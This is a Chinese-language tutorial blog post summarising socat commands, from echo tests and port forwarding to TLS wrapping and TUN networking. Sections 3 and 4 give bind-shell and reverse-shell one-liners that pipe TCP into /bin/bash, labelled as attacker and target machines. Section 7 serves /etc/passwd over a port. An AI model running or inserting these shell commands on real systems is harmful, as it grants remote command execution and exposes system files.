首页 > 其他分享 >Socat 命令总结

Socat 命令总结

时间:2024-12-24 19:20:29浏览次数:3  
标签:总结 1234 Socat 端口 tcp 命令 fork TCP socat

事以密成,语以泄败。


导航


介绍

Socat 是一个功能强大的网络工具(相当于是增强版 netcat),它可以在两个数据流之间建立通道,且支持的数据流类型非常丰富,例如:TCP、UDP、TUN、SOCKS 代理、UNIX 套接字、STDIO 标准输入输出流、PIPE 管道流、OPEN 文件流、EXEC/SHELL/SYSTEM 进程流、OPENSSl 加密流等。


基本语法

socat [OPTION] <ADDRESS_1>[,OPTS] <ADDRESS_2>[,OPTS]
  • ADDRESS_1ADDRESS_2 表示两个通信的端点,即数据流。
  • OPTION 用于设置全局选项,比如单向模式、调试模式、日志级别等。【注:单向模式中的 -u 表示左流向右,-U 表示右流向左,不加则表示双向模式。】
  • OPTS 用于设置数据流的选项(不同类型的数据流对应的选项亦有所区别),常用的选项是 fork、reuseaddr。

用法示例

1. 回显输入

socat - -	#STDIO STDIO

说明:在终端输入什么就输出什么。

image

2. 回显输入 over TCP/UDP

socat - tcp-listen:1234,fork 	#STDIO TCP	服务端监听1234端口
socat - tcp:127.0.0.1:1234		#STDIO TCP	客户端连接1234端口

socat - udp4-listen:1234,bind=192.168.56.20,fork	#STDIO UDP	服务端仅监听192.168.56.20接口的1234端口
socat - udp4:192.168.56.20:1234						#STDIO UDP	客户端连接1234端口

说明:客户端将输入的数据通过 tcp/udp 通道传输给服务端,而服务端又将接收的数据再传输给标准输出。

image

image

3. 正向连接 shell

socat tcp-listen:1234,fork exec:/bin/bash	#TCP EXEC	服务端监听1234端口
socat - tcp:127.0.0.1:1234					#STDIO TCP	客户端连接1234端口

说明:服务端将接收到的数据传输给 bash 进程,bash 处理之后将结果返回给客户端的标准输出。,

image

4. 反向连接 shell

socat - tcp-listen:1234,fork				#STDIO TCP	攻击机监听1234端口
socat EXEC:/bin/bash tcp:127.0.0.1:1234		#EXEC TCP	靶机连接1234端口
#socat - tcp:127.0.0.1:1234					#STDIO TCP	靶机连接1234端口

说明:攻击机将输入的数据传输给连接它的靶机,而靶机又将数据传递给了 bash 进程,经其处理之后返回结果到攻击机。【注意:如果有多个靶机同时连接攻击机,那么攻击机的输入会随机被传递给其中一个靶机,而不是同时传递给所有靶机。】

image

5. 端口转发

socat tcp-listen:1234,fork tcp:127.0.0.1:8080	#TCP TCP

说明:将本地监听端口 tcp/1234 接收的数据转发到本地的 tcp/8080 端口。【转发到远端亦行】

image

6. 网络服务

socat -U tcp-listen:1234,fork open:test.txt		#TCP OPEN

说明:将文件内容作为服务响应返回。【注意:此时最好使用-U单向模式(右向左),否则请求可能会覆盖文件内容。】

image

7. 文件传输

socat -U tcp-listen:1234,fork open:/etc/passwd				#TCP OPEN	发送端
socat -u tcp:127.0.0.1:1234 open:./passwd.txt,create		#TCP OPEN	接收端

说明:发送端将文件数据传输给连接到监听端口的接收端,接收端又将收到的数据打包到新文件中。【注意单向模式的使用】

image

8. 管道传输

echo ok | socat - tcp-listen:1234,fork	#PIPE TCP
#socat - tcp-listen:1234,fork | bash	#TCP PIPE

说明:(1)将 echo 输出的数据通过管道传递给连向监听端口的终端;(2)将监听端口接收到的数据传递给 bash 进程处理。

image

image

9. 加密传输

socat openssl-listen:8443,cert=ssl-cert.pem,key=ssl-cert.key,verify=0,fork tcp:127.0.0.1:8080	#OPENSSL TCP OPENSSL 服务端
#socat - openssl:127.0.0.1:8443,verify=0	#OPENSSL 客户端

#注:当服务端不是转发给 http 服务时,客户端需要此命令配合使用,示例截图中的 curl 命令拥有 openssl 客户端的功能故示例没有用到该命令。
#注:功能测试时,证书的生成可以使用 make-ssl-cert /usr/share/ssl-cert/ssleay.cnf ssl-cert 命令生成。

说明:监听 HTTPS 请求并将其转发到本地的 HTTP 服务。

image

10. TUN 网络

socat tcp-listen:1234,fork tun:192.168.1.1/24,up			#TCP TUN	服务端
socat tcp:192.168.56.20:1234 tun:192.168.1.2/24,up			#TCP TUN	客户端

说明:所有连接到 TUN 服务端的终端,全都接入了一个自建的 TUN 网络之中,从而实现了异地组网。【在 Linux 中测试是成功的,但是在 Windows 中测试是失败的。】

image


杂项

标签:总结,1234,Socat,端口,tcp,命令,fork,TCP,socat
From: https://www.cnblogs.com/kqdssheng/p/18628559

相关文章

  • AI科研助手开发总结:向量与数据权限的应用(一)
    一、业务场景1.1概述大语言模型(LLM)作为自然语言处理领域的核心技术,具有丰富的自然语言处理能力。LLM在处理特定领域的知识时存在一定的局限性,特别对于垂直领域内,或者企业内部等私域专属知识。通常通常采用向量数据方案对知识进行扩充。向量数据库在AI应用中提供了强大的数......
  • 年终总结还在靠传统方式?试试这个!
    每到年底,复盘会议成了各大团队的标配。然而,在一场又一场的讨论和无数次文档传阅中,复盘的核心——从经验中学习的价值,往往被形式感淹没。在线协同编辑文档工具,正是为了解决这一痛点而生的利器。团队复盘中常见的痛点1.无效会议多,决策执行少复盘中常常因为记录不清、分工不明,导......
  • Linux通过命令行nmcli工具控制WiFi
    nmcli是NetworkManager提供的命令行工具,它是大多数现代Linux发行版中默认包含的工具,功能非常强大,可以帮助管理网络连接,包括WiFi、以太网等。nmcli不仅可以查看可用的WiFi网络,还支持连接、断开和管理网络设置。安装(大多数发行版默认已安装nmcli):sudoaptinstallnetwor......
  • SQLMAP注入之MySQL注入总结
    SQLMAP注入之MySQL注入总结简介sqlmap是一个开源的自动化SQL注入(SQLi)攻击和数据库接管工具,广泛应用于渗透测试、漏洞评估和安全研究。它旨在帮助安全研究人员和渗透测试人员发现和利用SQL注入漏洞,进行数据库接管、信息泄露和数据提取等操作。sqlmap提供了强大的功能,可以......
  • 详解Redis的常用命令
    目录KEYS语法EXISTS语法DEL语法EXPIRE语法TTL语法TYPE语法Redis数据结构和内部编码KEYS返回所有满⾜样式(pattern)的key。返回值:匹配pattern的所有key。语法⽀持如下统配样式:h?llomatcheshello,halloandhxlloh*llomatcheshlloandheeee......
  • Linux-screen命令
    对于Linux下运行多个程序或服务,使用Screen来启动不同的项目还是挺不错的。(比如说开个Terriria服务器,再开个Minecraft服务器,再跑个SpringBoot后台程序等等)以下只写了最基本的使用安装默认情况下可能是没安装的sudoaptupdatesudoaptinstallscreenScreen指令集screen......
  • Git 常用命令详解
    1.修改提交信息gitcommit--amend修改最后一次提交的提交说明。适合修正提交信息或补充文件。2.工作区与版本库工作区(WorkingDirectory)包含.git目录的地方称为工作区,即开发人员工作的本地目录。版本库(Repository).git目录内保存了版本控制的元数据和对象数......
  • mysql 分区总结
    初稿摘录,后续会按自己经验更新:https://blog.csdn.net/weixin_42507868/article/details/113294679四种常见的分区类型: RANGE分区:最为常用,基于属于一个给定连续区间的列值,把多行分配给分区。最常见的是基于时间字段。LIST分区:LIST分区和RANGE分区类似,区别在于LIST是枚举值列表......
  • Vim 命令速查表
    简介#Vim命令速查表,注释化vimrc配置文件,经典Vim键盘图,实用Vim书籍,Markdown格式,目录化检索,快速熟悉使用!重复的威力#.#小数点,重复上一次的命令N<command>#重复某个命令N次,例如:10k,光标上移10行光标移动#注:一般模式下,任意一个动......
  • 《docker高级篇(大厂进阶):2.DockerFile解析》包括:是什么、DockerFile构建过程解析、Dock
    @目录二、高级篇(大厂进阶)2.DockerFile解析2.1是什么2.2DockerFile构建过程解析2.3DockerFile常用保留字指令2.4案例2.4.1自定义镜像mycentosjava82.4.2虚悬镜像2.5小总结本人其他相关文章链接二、高级篇(大厂进阶)2.DockerFile解析2.1是什么问题:DockerFile是什么?......